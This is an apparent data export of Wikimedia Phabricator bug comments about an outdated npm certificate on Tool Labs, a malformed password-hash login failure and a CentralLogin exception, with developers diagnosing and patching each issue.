+313958,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),So can we get an upgrade in tools labs to another version of 0.8.x?,,,1409231369,,PHID-USER-nm47z3qdlxv5opuz3qyk,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+313954,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"This certificate error is a problem within node 0.8 / npm 1.1.x that was fixed in an update.
+
+While we should update to node 0.10, we probably will not do that for an individual page and instead have it happen naturally when we upgrade instances from Ubuntu Precise to Ubuntu Trusty (which comes with node 0.10).
+
+This bug should be fixed by updating node 0.8.x and npm to slightly newer minor versions. This was fixed in the integration project as well.",,,1409231274,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+72098,"Unable to login and reset password: ""Invalid hash given"" in all cases","Unable to login and reset password: ""Invalid hash given"" in all cases
+
+Greetings!
+
+User Yustas is having trouble with login and password reset. He hasn't been logging in for a while. Now, he tries to login, but can't. He has email entered: yustas@yustas.com. He tries to reset password and successfully receives reset email. But when he enters old and new passwords, he sees permanent ""Invalid hash given"" message (I have attached the screenshot received from him). He tried several browsers and OSes. 
+
+Please help him. You can contact him directly at the email given, or at talk page at Commons https://commons.wikimedia.org/wiki/User_talk:Yustas
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major
+
+**Attached**: {F14304}",High,80.0,1409166420,1414713212.0,PHID-USER-lymul4gxoprpd55zqrm5,False,,False,PHID-TASK-qa72wvdgnut3fefct73m,task_description,resolved,True,c3,1,False,False,True,-45,True,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+313032,"Unable to login and reset password: ""Invalid hash given"" in all cases","I think we fixed the general issue, and the specific user is in, so I'm going to close this. Reopen if anything else is needed.",,,1414713212,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-35,True,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+313030,"Unable to login and reset password: ""Invalid hash given"" in all cases","(In reply to Chris Steipp from comment #10)
+> [...] the password was updated to
+> :A::<hash>, and I couldn't login.
+
+I think I753c135a would fix that problem. We may need a DB cleanup script and/or the compatibility hack I thought we didn't need.
+
+> [...] I'm not able to find a reliable
+> reproduction for ending up in that state though.
+
+Perhaps the user had tried to reset his password by email before attempting to log in with his existing password? That would cause $user->saveSettings() to be called, which to get the string to store in the DB, would call toString() on the MWOldPassword object. Though why would we have :A: hashes in the DB at all?",,,1414396611,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-36,True,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+313028,"Unable to login and reset password: ""Invalid hash given"" in all cases","For the actual issue, I managed to reproduce the effect that caused the problem. A user with type :A: password with a hard expired password, I logged in several times and in one case, the password was updated to :A::<hash>, and I couldn't login. I'm not able to find a reliable reproduction for ending up in that state though.
+
+I'm a little suspicious of https://github.com/wikimedia/mediawiki-core/blob/2f491ef504b0489afd8a85d6a145058c29c46e61/includes/User.php#L1230 vs. checking $wgPasswordSalt like in https://github.com/wikimedia/mediawiki-core/blob/2f491ef504b0489afd8a85d6a145058c29c46e61/includes/User.php#L4655
+
+Adding Tyler in case he has ideas.",,,1409176403,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+313027,"Unable to login and reset password: ""Invalid hash given"" in all cases","Got it! He says he has successfully logged in first on commons, then on several wikis.
+
+Thank you very much!",,,1409172954,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+313026,"Unable to login and reset password: ""Invalid hash given"" in all cases","(In reply to Chris Steipp from comment #6)
+> Yeah, we have a hook doing that, since their on the list of users who's
+> password hashes were leaked. We could remove the username from our hook too,
+> to simplify that bit.
+
+Ok, I marked that username as having already reset their password, so they shouldn't get the reset form on login. Should be able to login now.",,,1409172487,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+313023,"Unable to login and reset password: ""Invalid hash given"" in all cases","Well, we're not able to properly understand some of the technical terms. Can you please give us some simple instructions on what to do, if needed?",,,1409171933,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0
+313021,"Unable to login and reset password: ""Invalid hash given"" in all cases","(In reply to Sergei S. Rublev from comment #3)
+> Not completely sure about SUL though. He says years ago he was creating
+> same-username account on several wikis.
+> 
+> He says: on commonswiki, enwiki and ruwiki: if he types wrong password, he
+> gets message about wrong password. When he types correct password, the reset
+> procedure is started.
+
+Yeah, we have a hook doing that, since their on the list of users who's password hashes were leaked. We could remove the username from our hook too, to simplify that bit.",,,1409171702,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+313018,"Unable to login and reset password: ""Invalid hash given"" in all cases","Well something is definitely wrong... Yustas'es password is :A: type, but has a salt stored with it. That shouldn't ever happen.
+
+The password api patch did a trick to pretend un-prefixed hashes were type :A:, even if password salting was used, so the hash would get upgraded to type :B:. I'm guessing something in there messed it up.
+
+I'm testing a couple solutions. I think we'll be able to either blank the password and let them use password reset. Or it may be a valid :B: hash, and so we can just change the type. I'm working on a reproduction so I can test it.",,,1409171574,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+313014,"Unable to login and reset password: ""Invalid hash given"" in all cases",He says there is no email confirmation when he tyes correct password. He immediately gets dialog presented at screenshot.,,,1409169357,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+313008,"Unable to login and reset password: ""Invalid hash given"" in all cases","Not completely sure about SUL though. He says years ago he was creating same-username account on several wikis.
+
+He says: on commonswiki, enwiki and ruwiki: if he types wrong password, he gets message about wrong password. When he types correct password, the reset procedure is started.",,,1409169094,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+313002,"Unable to login and reset password: ""Invalid hash given"" in all cases",The main goal now is to login to Commons. He says he remembers he was activating SUL...,,,1409168261,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+312998,"Unable to login and reset password: ""Invalid hash given"" in all cases","Which Wiki is he using?
+
+I note he seems to have a :A: password on commonswiki, but on enwiki user_password is unprefixed, but user_newpassword is :B: prefixed..",,,1409168169,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+71834,login when already logged in gets exception from Special:CentralLogin,"I'm used to entering the URL https://<host>/wiki/Special:UserLogin to login with a different username.  It would warn ""You are already logged in as S Page (WMF). Use the form below to log in as another user."" and let me do just that.
+
+However, now when I do this on beta labs when I'm already logged in, I get a 302 redirect and then Internal error exception from http://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=921d7ed90f5b780db73c89673f1bb6d6 ""The user account logged into does not exist.""  The full display is below.
+
+The workaround is to click Log out or visit Special:Logout, then log in.
+As I recall, visiting Special:UserLogin while logged in on mediawiki.org a week or so ago would just redirect me to the main page (not ideal but better than an exception); but now I'm getting the same Internal error exception except the production cluster truncates it to a pink ""[7ed77f38] 2014-08-21 08:02:15: Fatal exception of type MWException"".
+
+Below is the full error display on beta labs:
+
+[82d43ccf] /wiki/Special:CentralLogin/complete?token=921d7ed90f5b780db73c89673f1bb6d6 Exception from line 167 of /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php: The user account logged into does not exist.
+
+Backtrace:
+
+#0 /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php(33): SpecialCentralLogin->doLoginComplete(string)
+#1 /srv/common-local/php-master/includes/specialpage/SpecialPage.php(363): SpecialCentralLogin->execute(string)
+#2 /srv/common-local/php-master/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(string)
+#3 /srv/common-local/php-master/includes/MediaWiki.php(300): SpecialPageFactory::executePath(Title, RequestContext)
+#4 /srv/common-local/php-master/includes/MediaWiki.php(609): MediaWiki->performRequest()
+#5 /srv/common-local/php-master/includes/MediaWiki.php(460): MediaWiki->main()
+#6 /srv/common-local/php-master/index.php(46): MediaWiki->run()
+#7 /srv/common-local/w/index.php(3): include(string)
+#8 {main}
+
+--------------------------
+**Version**: master
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=69565",High,80.0,1408608540,1410401638.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-vwqwxdop2rianj5hnvof,task_description,resolved,True,c3,1,False,False,True,-45,True,0,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+312889,login when already logged in gets exception from Special:CentralLogin,"[Backport was merged into 1.24wmf19 and 1.24wmf20 upon a time, hence setting Backport_WMF flag to +]",,,1412717621,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+312885,login when already logged in gets exception from Special:CentralLogin,"Visiting ""Special:UserLogin"" on en.wp and test.wp now directly redirect me to the main page, no exception thrown.",,,1410401638,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0
+312881,login when already logged in gets exception from Special:CentralLogin,*** Bug 70666 has been marked as a duplicate of this bug. ***,,,1410372058,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+312875,login when already logged in gets exception from Special:CentralLogin,"Change 159492 merged by jenkins-bot:
+Don't do central login if not POSTed
+
+https://gerrit.wikimedia.org/r/159492",,,1410368967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312868,login when already logged in gets exception from Special:CentralLogin,"Change 159491 merged by jenkins-bot:
+Don't do central login if not POSTed
+
+https://gerrit.wikimedia.org/r/159491",,,1410368942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312861,login when already logged in gets exception from Special:CentralLogin,"Change 159492 had a related patch set uploaded by Reedy:
+Don't do central login if not POSTed
+
+https://gerrit.wikimedia.org/r/159492",,,1410365572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+312855,login when already logged in gets exception from Special:CentralLogin,"Change 159491 had a related patch set uploaded by Reedy:
+Don't do central login if not POSTed
+
+https://gerrit.wikimedia.org/r/159491",,,1410365558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+312848,login when already logged in gets exception from Special:CentralLogin,*** Bug 70660 has been marked as a duplicate of this bug. ***,,,1410365497,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+312843,login when already logged in gets exception from Special:CentralLogin,"(In reply to Kunal Mehta (Legoktm) from comment #9)
+> I wonder if we should even be triggering the UserLoginComplete hook if the
+> user wasn't actually newly logged in.
+
+That sounds a little more future proof (and current-proof for other extensions) to me as well, FWIW.  When you're already logged in, visiting the login page (even if you're then redirected to your returnto) is not really a UserLoginComplete.
+
+You were already logged in, so you didn't just complete a login.",,,1410245439,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+312837,login when already logged in gets exception from Special:CentralLogin,I was hoping someone else more familiar with auth stuff would look at it but I guess not. Flagging for backport...,,,1410195228,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+312833,login when already logged in gets exception from Special:CentralLogin,"Change 158547 merged by jenkins-bot:
+Don't do central login if not POSTed
+
+https://gerrit.wikimedia.org/r/158547",,,1410194848,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312829,login when already logged in gets exception from Special:CentralLogin,Patch got a +1 by legoktm; is more needed or can this get merged?,,,1410189722,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0
+312825,login when already logged in gets exception from Special:CentralLogin,"Change 158547 had a related patch set uploaded by CSteipp:
+Don't do central login if not POSTed
+
+https://gerrit.wikimedia.org/r/158547",,,1409874544,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+312820,login when already logged in gets exception from Special:CentralLogin,*** Bug 70381 has been marked as a duplicate of this bug. ***,,,1409805634,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+312816,login when already logged in gets exception from Special:CentralLogin,"(In reply to Chris Steipp from comment #7)
+> Tyler, can you explain the use case you put in that comment? I'm not sure I
+> follow why that is needed. We can probably flag CentralAuth not to redirect
+> if we have to, but I'm trying to understand the whole picture.
+
+I mean, it says everything in the comment. Let's say a user has two tabs open, their watchlist and their preferences page. However, they have been logged out because of the session expiry. So when they open their browser, Special:Watchlist and Special:Preferences redirect them to the login page. The user logs in in just one of those pages, such that they can then just refresh all the other pages and have them auto-return to where they intended to go to.",,,1409724491,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-44,True,1,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+312812,login when already logged in gets exception from Special:CentralLogin,"Easy/quick/hackish fix in CentralAuth is to check in the onUserLoginComplete function that $wgRequest->wasPosted() === false, and not start the central login process if that's the case.
+
+I wonder if we should even be triggering the UserLoginComplete hook if the user wasn't actually newly logged in.",,,1409722540,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+312807,login when already logged in gets exception from Special:CentralLogin,"I am experiencing this. I am getting ""[fe654767] 2014-09-03 05:20:50: Fatal exception of type MWException""m even after I try Special:UserLogout then try to log back in. When I try to edit, I get the normal logged out IP traced banner. Any ideas?",,,1409722066,,PHID-USER-2hzxflhh7cwlrnz74x6y,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-44,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+312802,login when already logged in gets exception from Special:CentralLogin,"So the cause is Idd9325374cb5dc13c4c057f45f88a33bdff523a9, and this code:
+
+
+// In the case where the user is already logged in, do not show the login page.
+// The use case scenario for this is when a user opens a large number of tabs, is
+// redirected to the login page on all of them, and then logs in on one, expecting
+// all the others to work properly.
+if ( $this->mType !== 'signup' && !$this->mPosted && $this->getUser()->isLoggedIn() ) {
+	$this->successfulLogin();
+}
+
+CentralAuth hooks UserLoginComplete from successfulLogin, which redirects through loginwiki's Special:CentralLogin/start and /complete.
+
+I think the exception is happening because it tries to get the username out of $_SESSION, but since the user logged in a while ago, and
+
+> echo ini_get( 'session.gc_maxlifetime' );
+1440
+
+we only keep sessions around server side for 24 minutes, the username from $_SESSION is probably null, so the exception is triggered.
+
+Tyler, can you explain the use case you put in that comment? I'm not sure I follow why that is needed. We can probably flag CentralAuth not to redirect if we have to, but I'm trying to understand the whole picture.",,,1409180717,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
